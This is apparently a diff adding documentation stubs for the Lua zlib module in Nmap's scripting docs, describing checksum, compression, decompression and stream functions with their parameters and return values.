+-- @copyright The MIT License (MIT); Copyright Tiago Dionizio (tiago.dionizio@gmail.com)
+module "zlib"
+
+-- NSEdoc derived from lzlib's README
+
+--- returns zlib version
+-- @return the zlib version
+function version()
+
+--- Compute an adler32 checksum
+--
+-- Without any parameters, returns the initial adler32 value.
+--
+-- Call to update the adler32 value, adler is the current value, buffer is passed
+-- to adler32 zlib function and the updated value is returned.
+-- @param adler An integer, the result of a previous call to <code>adler32</code>
+-- @param buffer A string, over which to compute the adler32 checksum.
+-- @return The adler32 checksum result.
+function adler32(adler, buffer)
+
+--- Compute a crc32 checksum
+--
+-- Without any parameters, returns the initial crc32 value.
+--
+-- Call to update the crc32 value, crc is the current value, buffer is passed
+-- to crc32 zlib function and the updated value is returned.
+-- @param crc An integer, the result of a previous call to <code>crc32</code>
+-- @param buffer A string, over which to compute the crc32 checksum.
+-- @return The crc32 checksum result.
+function crc32(crc, buffer)
+
+--- Return a string containing the compressed buffer according to the given parameters.
+--
+-- All of the parameters besides buffer are optional. The zlib library sets the
+-- default values, which are usually equivalent to
+-- <code>compress(buffer, 6, Z_DEFLATED, 15, 8, Z_DEFAULT_STRATEGY)</code>
+-- @param buffer String to compress
+-- @param level Optional integer corresponding to compression level, 0-9
+-- @param method Optional integer corresponding to compression method
+-- @param windowBits Optional integer, the base-2 logarithm of the maximum window size. Default: 15
+-- @param memLevel Optional integer corresponding to memory use and therefore speed
+-- @param strategy Optional integer corresponding to compression strategy
+function compress(buffer, level, method, windowBits, memLevel, strategy)
+
+--- Return the decompressed stream after processing the given buffer.
+--
+-- If windowBits is negative, this function decompresses raw deflate data without header.
+-- @param buffer String containing DEFLATE-compressed data
+-- @param windowBits Optional integer, the base-2 logarithm of the maximum window size. Default: 15
+function decompress(buffer, windowBits)
+
+--- Return a deflate stream.
+--
+-- This stream is a file-like object that can be used to write compressed
+-- (deflated) data to some sink stream. If the sink stream is a table or
+-- object, it must have a <code>write</code> method. Otherwise, it must be a
+-- function that will be called with data to write (e.g.
+-- <code>socket.send</code>).
+-- @param sink The location where compressed data will be written
+-- @param level Optional integer corresponding to compression level, 0-9
+-- @param method Optional integer corresponding to compression method
+-- @param windowBits Optional integer, the base-2 logarithm of the maximum window size. Default: 15
+-- @param memLevel Optional integer corresponding to memory use and therefore speed
+-- @param strategy Optional integer corresponding to compression strategy
+-- @param dictionary Optional string corresponding to initial compression dictionary
+function deflate(sink, level, method, windowBits, memLevel, strategy, dictionary)
+
+--- Read from an inflate stream
+--
+-- @param how A number of bytes to read, or "*l" (read until newline), or "*a" (read the whole stream). Default: "*l"
+-- @return The bytes read, or nil on EOF.
+function inflate_stream:read(how)
+
+--- Return iterator that returns a line each time it is called, or nil on end
+-- of file.
+-- @return An iterator suitable for use with <code>for</code>
+function inflate_stream:lines()
+
+--- Close the stream.
+--@return True, or false on error
+--@return An error string
+function stream:close()
+
+--- Return an inflate stream.
+--
+-- This stream is a file-like object that can be used to read decompressed
+-- (inflated) data from some source stream. If the source stream is a table or
+-- object, it must have a <code>read</code> method. Otherwise, it must be a
+-- function that will be called to get more compressed data.
+-- @param source The location where compressed data will be read from
+-- @param windowBits Optional integer, the base-2 logarithm of the maximum window size. Default: 15
+-- @param dictionary Optional string corresponding to initial compression dictionary
+-- @return an inflate stream.
+function inflate(source, windowBits, dictionary)
+
+--- Write each parameter into the stream
+-- @param ... any number of strings to write
+-- @return True, or false on error
+-- @return Error string on error
+function deflate_stream:write(...)
+
+--- Flush output for deflate streams.
+-- @param value One of 'sync', 'full', or 'finish'
+-- @return True, or false on error
+-- @return Error string on error
+function deflate_stream:flush(value)